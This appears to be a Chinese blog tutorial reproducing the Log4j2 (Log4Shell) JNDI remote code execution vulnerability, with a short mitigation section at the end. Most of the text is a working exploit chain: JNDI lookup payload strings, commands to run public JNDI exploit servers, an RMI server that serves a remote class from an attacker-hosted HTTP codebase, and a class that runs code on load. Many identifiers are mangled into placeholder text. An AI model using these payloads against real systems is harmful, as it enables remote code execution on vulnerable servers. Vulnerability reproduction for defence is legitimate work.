令无数程序员加班的 Log4j2 远程执行漏洞复现
时间:2021-12-13 作者:puzhiwei
令无数程序员加班的 Log4j2 远程执行漏洞复现,本文将通过一个简单的例子来告诉你这个漏洞到底有什么危害。
前情提要
Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?
构建maven项目引入Log4j2
编写 pom 文件
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://域名/POM/4.0.0" xmlns:xsi="http://域名/2001/XMLSchema-instance" xsi:schemaLocation="http://域名/POM/4.0.0 http://域名/xsd/maven-4.域名"> <modelVersion>4.0.0</modelVersion> <groupId>域名ple</groupId> <artifactId>Log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://域名/artifact/域名域名j/log4j-core --> <dependency> <groupId>域名域名j</groupId> <artifactId>log4j-core</artifactId> <version>域名.3</version> </dependency> <!-- https://域名/artifact/域名域名j/log4j-api --> <dependency> <groupId>域名域名j</groupId> <artifactId>log4j-api</artifactId> <version>域名.3</version> </dependency> </dependencies> <properties> <域名ce>8</域名ce> <域名et>8</域名et> </properties> </project>
编写测试代码
import 域名域名er; import 域名域名anager; public class log4jRCE { private static final Logger logger = 域名ogger(域名s); public static void main(String[] args) { // 避免因为Java版本过高而无法触发此漏洞 域名roperty("域名.域名tURLCodebase","true"); 域名roperty("域名.域名tURLCodebase","true"); // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1 域名r("${jndi:ldap://ip:1389/Basic/Command/calc}"); } }
下载 JNDI 测试服务器
到 https://域名/feihong-cs/JNDIExploit
或者
https://域名/welk1n/JNDI-Injection-Exploit
下载 JNDIExploit 测试服务器
本次使用 JNDIExploit 举例
下载完成后使用
java -jar JNDIExploit-1.2-域名 -i ip
启动服务器
然后运行之前的Log4j2项目即可出现如图所示效果
加载运行自己的 class 类
编写 RMI服务器
import 域名.域名renceWrapper; import 域名rence; import 域名域名teRegistry; import 域名域名stry; /** * @author Pu Zhiwei * create 2021-12-11 22:06 */ public class RMIServer { public static void main(String[] args) { 域名roperty("域名.域名tURLCodebase","true"); 域名roperty("域名.域名tURLCodebase","true"); try { 域名teRegistry(1099); Registry registry = 域名egistry(); 域名tln("Create RMI registry on port 1099!"); // 前两个参数为类名,第三个参数为远程类地址 Reference reference = new Reference("Test", "Test", "http://192.域名:8080/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 域名("evil", referenceWrapper); } catch (Exception e) { 域名tStackTrace(); } } }
编写测试类
public class Test { static { 域名tln("你好 Log4j2"); } }
然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器
python -m 域名er 8080
修改 Log4j2 项目内容为
域名r("${jndi:rmi://192.域名:1099/evil}");
运行项目即可看到 Test 类已被执行
之后你就可以通过修改 Test 类实现更多操作。
如何防范
升级 Log4j2 到最新版本
使用最新版 JDK
临时解决方案:
-
设置 jvm 参数 “-域名atMsgNoLookups=true”
-
在项目 classpath 目录下添加 域名erties 配置文件,设置 域名atMsgNoLookups=true
-
设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”
END
本文首发于 https://域名/archives/log4j2yuan-cheng-zhi-xing-lou-dong-fu-xian
转载请注明来源